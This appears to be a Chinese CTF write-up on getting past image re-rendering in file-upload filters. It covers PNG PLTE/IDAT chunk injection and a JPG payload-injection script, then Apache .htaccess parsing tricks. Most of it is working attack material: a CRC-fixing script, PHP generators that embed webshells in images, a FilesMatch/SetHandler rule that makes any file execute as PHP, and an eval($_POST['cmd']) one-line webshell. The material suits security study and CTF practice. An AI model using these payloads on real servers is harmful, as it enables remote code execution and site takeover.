[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1n7LOMUF-1611500711965)(https://Lmg66.github.io/img/47.png)]

尝试上传带有一句话木马的png图片,上传下载发现木马被渲染掉

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zKE8dEsk-1611500711965)(https://Lmg66.github.io/img/48.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rMzmu7fW-1611500711966)(https://Lmg66.github.io/img/49.png)]

绕过方法:

1.写入php代码到PLTE模块

PLTE模块:调色板PLTE数据块是辅助数据快,对于索引图像,调试板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。

PLTE模块是辅助模块并不是每个png图片都有的,多找几个png图片

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qRulfj0C-1611500711966)(https://Lmg66.github.io/img/50.png)]

然后计算PLTE数据块的CRC

import binascii
import re
png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)
''' PLTE crc '''
data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)

运行结果写入CRC模块

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-j3HlERjA-1611500711966)(https://Lmg66.github.io/img/51.png)]

然后上传即可;注:CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。储存用来检测是否有错误的循环冗余码。参考https://xz.aliyun.com/t/2657

2.写入IDAT数据块

国外大佬脚本直接用

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

运行脚本生成1.png,发现木马被写入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hqAeBE2W-1611500711968)(https://Lmg66.github.io/img/52.png)]

上传利用:文件包含

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1Vuuoyjr-1611500711968)(https://Lmg66.github.io/img/53.png)]

图片原理:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

木马原理:assert()会检查内部是否是字符串,如果是字符串,它将会被assert()当做php代码执行

查看源码 对jpg的过滤部分 发现对jpg图片进行二次渲染#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DLn9Miux-1611500711968)(https://Lmg66.github.io/img/54.png)]

绕过姿势:先随便上传一个1.jpg图片到服务器,将上传后的图片下载,用国外大佬脚本处理一下(并不是所有图片都能被脚本处理插入木马多试几个)

处理cmd命令:php 脚本名.php 1.jpg(需要安装php环境)

脚本被我改一下,发现大佬脚本不能用

<?php

    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().

    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script

    2) Save the processed image and launch:

    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:

    1) After the second processing the injected data may become partially corrupted.

    2) The jpg_payload.php script outputs "Something's wrong".

    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.


    Sergey Bobrov @Black2Fan.

    See also:

    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */



    $miniPayload = "<?php phpinfo();?>";





    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {

        die('php-gd is not installed');

    }



    if(!isset($argv[1])) {

        die('php jpg_payload.php <jpg_name.jpg>');

    }



    set_error_handler("custom_error_handler");



    for($pad = 0; $pad < 1024; $pad++) {

        $nullbytePayloadSize = $pad;

        $dis = new DataInputStream($argv[1]);

        $outStream = file_get_contents($argv[1]);

        $extraBytes = 0;

        $correctImage = TRUE;



        if($dis->readShort() != 0xFFD8) {

            die('Incorrect SOI marker');

        }



        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {

            $marker = $dis->readByte();

            $size = $dis->readShort() - 2;

            $dis->skip($size);

            if($marker === 0xDA) {

                $startPos = $dis->seek();

                $outStreamTmp = 

                    substr($outStream, 0, $startPos) . 

                    $miniPayload . 

                    str_repeat("\0",$nullbytePayloadSize) . 

                    substr($outStream, $startPos);

                checkImage('_'.$argv[1], $outStreamTmp, TRUE);

                if($extraBytes !== 0) {

                    while((!$dis->eof())) {

                        if($dis->readByte() === 0xFF) {

                            if($dis->readByte !== 0x00) {

                                break;

                            }

                        }

                    }

                    $stopPos = $dis->seek() - 2;

                    $imageStreamSize = $stopPos - $startPos;

                    $outStream = 

                        substr($outStream, 0, $startPos) . 

                        $miniPayload . 

                        substr(

                            str_repeat("\0",$nullbytePayloadSize).

                                substr($outStream, $startPos, $imageStreamSize),

                            0,

                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 

                                substr($outStream, $stopPos);

                } elseif($correctImage) {

                    $outStream = $outStreamTmp;

                } else {

                    break;

                }

                if(checkImage('payload_'.$argv[1], $outStream)) {

                    die('Success!');

                } else {

                    break;

                }

            }

        }

    }

    unlink('payload_'.$argv[1]);

    die('Something\'s wrong');



    function checkImage($filename, $data, $unlink = FALSE) {

        global $correctImage;

        file_put_contents($filename, $data);

        $correctImage = TRUE;

        imagecreatefromjpeg($filename);

        if($unlink)

            unlink($filename);

        return $correctImage;

    }



    function custom_error_handler($errno, $errstr, $errfile, $errline) {

        global $extraBytes, $correctImage;

        $correctImage = FALSE;

        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {

            if(isset($m[1])) {

                $extraBytes = (int)$m[1];

            }

        }

    }



    class DataInputStream {

        private $binData;

        private $order;

        private $size;



        public function __construct($filename, $order = false, $fromString = false) {

            $this->binData = '';

            $this->order = $order;

            if(!$fromString) {

                if(!file_exists($filename) || !is_file($filename))

                    die('File not exists ['.$filename.']');

                $this->binData = file_get_contents($filename);

            } else {

                $this->binData = $filename;

            }

            $this->size = strlen($this->binData);

        }



        public function seek() {

            return ($this->size - strlen($this->binData));

        }



        public function skip($skip) {

            $this->binData = substr($this->binData, $skip);

        }



        public function readByte() {

            if($this->eof()) {

                die('End Of File');

            }

            $byte = substr($this->binData, 0, 1);

            $this->binData = substr($this->binData, 1);

            return ord($byte);

        }



        public function readShort() {

            if(strlen($this->binData) < 2) {

                die('End Of File');

            }

            $short = substr($this->binData, 0, 2);

            $this->binData = substr($this->binData, 2);

            if($this->order) {

                $short = (ord($short[1]) << 8) + ord($short[0]);

            } else {

                $short = (ord($short[0]) << 8) + ord($short[1]);

            }

            return $short;

        }



        public function eof() {

            return !$this->binData||(strlen($this->binData) === 0);

        }

    }

?>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SwOa8CHR-1611500711969)(https://Lmg66.github.io/img/55.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0N8cmpPR-1611500711969)(https://Lmg66.github.io/img/56.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UKwy3gaP-1611500711970)(https://Lmg66.github.io/img/57.png)]

0x06 解析攻击

0x01 .htaaccess

  • .htaccess是什么

    • .htaccess文件(或者”分布式配置文件”)提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
    • 概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
    • 启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
    • 笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
    • .htaccess文件可以在网站目录树的任何一个目录中,只对该文件所在目录中的文件和子目录有效。
  • .htaccess 原理

    通过.htaccess文件,调用php的解析器解析一个文件名,只要包含"1"这个字符串的任意文件。这个"1"的内容如果是一句话木马,即可利用中国菜刀或中国蚁剑进行连接。

<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>
  • 一句话木马在有些题目中会被检测

  • <script language='php'>@eval($_POST['cmd'])</script>   #可以用js代替
    

eg: CTF HUB web .htaccess

eg:[MRCTF2020]你传你

上一篇:osg中使用geometry shader方式


下一篇:arcgis pro2.5 改变地图范围